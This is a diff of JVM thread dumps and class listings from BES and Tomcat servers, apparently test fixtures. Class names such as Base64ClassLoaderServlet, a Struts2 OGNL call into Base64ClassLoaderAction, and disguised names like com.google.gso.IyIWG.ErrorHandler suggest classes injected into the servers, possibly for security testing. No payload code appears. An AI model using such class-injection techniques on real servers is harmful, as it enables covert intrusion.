at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AcceptorThread-1900-1" #82 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
@@ -552,7 +598,7 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"jmsra-WorkerThread-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
"httpWorkerThread-8080-5" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -566,7 +612,45 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"httpWorkerThread-8080-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
"SelectorReaderThread-8080-1" #78 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #94 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46f1b5d7
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncTimeoutThread-1900" #77 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -580,13 +664,22 @@ ThreadStacks:
|
|||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Spark_5" #97 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
"KeepAliveTimer" #60 daemon [TIMED_WAITING] on java.util.TaskQueue@239afe19
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
"RMI TCP Connection(2)-192.168.215.4" #105 daemon [RUNNABLE]
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"LogFileManager.EventManager" #52 daemon [WAITING] on java.lang.Object@147ed5aa
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-172.17.0.3" #99 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
@@ -598,106 +691,21 @@ ThreadStacks:
|
|||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"RMI Reaper" #101 [WAITING] on java.lang.ref.ReferenceQueue$Lock@439db8d
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AsyncTimeoutThread-8080" #86 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"bes-deployment-scheduled-executor-thread." #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ae9154
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"LogFileManager.EventManager" #58 daemon [WAITING] on java.lang.Object@4383bb66
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
|
||||||
|
|
||||||
"RMI RenewClean-[192.168.215.4:6600]" #104 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@712da028
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"jmsra-WorkerThread-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"KeepAliveTimer" #66 daemon [TIMED_WAITING] on java.util.TaskQueue@3b02e833
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
"httpWorkerThread-1900-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1984fa36
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
|
||||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
|
||||||
|
|
||||||
"RetryTimer" #60 daemon [WAITING] on java.util.TaskQueue@47823aeb
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
|
||||||
at java.util.TimerThread.run(Timer.java:505)
|
|
||||||
|
|
||||||
|
|
||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
StackClassNames:
|
StackClassNames:
|
||||||
Base64ClassLoaderServlet
|
Base64ClassLoaderServlet
|
||||||
EmptyFilter
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
||||||
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||||
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||||
@@ -736,4 +744,4 @@ com.bes.enterprise.webtier.core.DefaultWrapperValve
|
|||||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
||||||
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
||||||
com.google.gso.IyIWG.ErrorHandler
|
com.google.gso.kctIl.ErrorGmnwfHandler
|
||||||
|
|||||||
@@ -1,475 +0,0 @@
|
|||||||
# Generated At 2025-12-08 15:18:17
|
|
||||||
SystemProps:
|
|
||||||
java.vendor: Temurin
|
|
||||||
sun.java.launcher: SUN_STANDARD
|
|
||||||
catalina.base: /usr/local/tomcat
|
|
||||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
|
||||||
catalina.useNaming: true
|
|
||||||
os.name: Linux
|
|
||||||
sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes
|
|
||||||
java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties
|
|
||||||
org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false
|
|
||||||
java.vm.specification.vendor: Oracle Corporation
|
|
||||||
java.runtime.version: 1.8.0_402-b06
|
|
||||||
user.name: root
|
|
||||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
|
||||||
shared.loader:
|
|
||||||
tomcat.util.buf.StringCache.byte.enabled: true
|
|
||||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
|
||||||
user.language: en
|
|
||||||
sun.boot.library.path: /opt/java/openjdk/lib/aarch64
|
|
||||||
jdk.tls.ephemeralDHKeySize: 2048
|
|
||||||
java.version: 1.8.0_402
|
|
||||||
java.util.logging.manager: org.apache.juli.ClassLoaderLogManager
|
|
||||||
user.timezone: Etc/UTC
|
|
||||||
sun.arch.data.model: 64
|
|
||||||
java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory
|
|
||||||
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
|
|
||||||
sun.cpu.isalist:
|
|
||||||
sun.jnu.encoding: UTF-8
|
|
||||||
file.encoding.pkg: sun.io
|
|
||||||
package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.
|
|
||||||
file.separator: /
|
|
||||||
java.specification.name: Java Platform API Specification
|
|
||||||
java.class.version: 52.0
|
|
||||||
user.country: US
|
|
||||||
java.home: /opt/java/openjdk
|
|
||||||
java.vm.info: mixed mode
|
|
||||||
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
|
|
||||||
path.separator: :
|
|
||||||
java.vm.version: 25.402-b06
|
|
||||||
java.protocol.handler.pkgs: org.apache.catalina.webresources
|
|
||||||
java.awt.printerjob: sun.print.PSPrinterJob
|
|
||||||
sun.io.unicode.encoding: UnicodeLittle
|
|
||||||
java.specification.maintenance.version: 5
|
|
||||||
awt.toolkit: sun.awt.X11.XToolkit
|
|
||||||
package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.
|
|
||||||
java.naming.factory.url.pkgs: org.apache.naming
|
|
||||||
user.home: /root
|
|
||||||
org.apache.catalina.security.SecurityListener.UMASK: 0027
|
|
||||||
java.specification.vendor: Oracle Corporation
|
|
||||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar
|
|
||||||
java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
|
||||||
java.vendor.url: https://adoptium.net/
|
|
||||||
java.vm.vendor: Temurin
|
|
||||||
common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"
|
|
||||||
java.runtime.name: OpenJDK Runtime Environment
|
|
||||||
sun.java.command: org.apache.catalina.startup.Bootstrap start
|
|
||||||
java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
|
|
||||||
java.vm.specification.name: Java Virtual Machine Specification
|
|
||||||
java.vm.specification.version: 1.8
|
|
||||||
catalina.home: /usr/local/tomcat
|
|
||||||
sun.cpu.endian: little
|
|
||||||
sun.os.patch.level: unknown
|
|
||||||
java.io.tmpdir: /usr/local/tomcat/temp
|
|
||||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
|
||||||
server.loader:
|
|
||||||
os.arch: aarch64
|
|
||||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
|
||||||
java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext
|
|
||||||
user.dir: /usr/local/tomcat
|
|
||||||
line.separator:
|
|
||||||
|
|
||||||
java.vm.name: OpenJDK 64-Bit Server VM
|
|
||||||
ignore.endorsed.dirs:
|
|
||||||
file.encoding: UTF-8
|
|
||||||
java.specification.version: 1.8
|
|
||||||
|
|
||||||
===========================================
|
|
||||||
|
|
||||||
ThreadStacks:
|
|
||||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
|
|
||||||
"http-nio-8080-exec-8" #24 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.lang.Thread.dumpThreads(Native Method)
|
|
||||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
|
||||||
at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
|
||||||
at java.lang.String.valueOf(String.java:2994)
|
|
||||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243)
|
|
||||||
at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
|
||||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
|
||||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
|
||||||
at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
|
|
||||||
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
|
|
||||||
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
|
|
||||||
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
|
|
||||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
|
|
||||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
|
|
||||||
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
|
|
||||||
at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
|
|
||||||
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
|
|
||||||
at ognl.SimpleNode.getValue(SimpleNode.java:258)
|
|
||||||
at ognl.Ognl.getValue(Ognl.java:537)
|
|
||||||
at ognl.Ognl.getValue(Ognl.java:501)
|
|
||||||
at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492)
|
|
||||||
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544)
|
|
||||||
at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254)
|
|
||||||
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263)
|
|
||||||
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
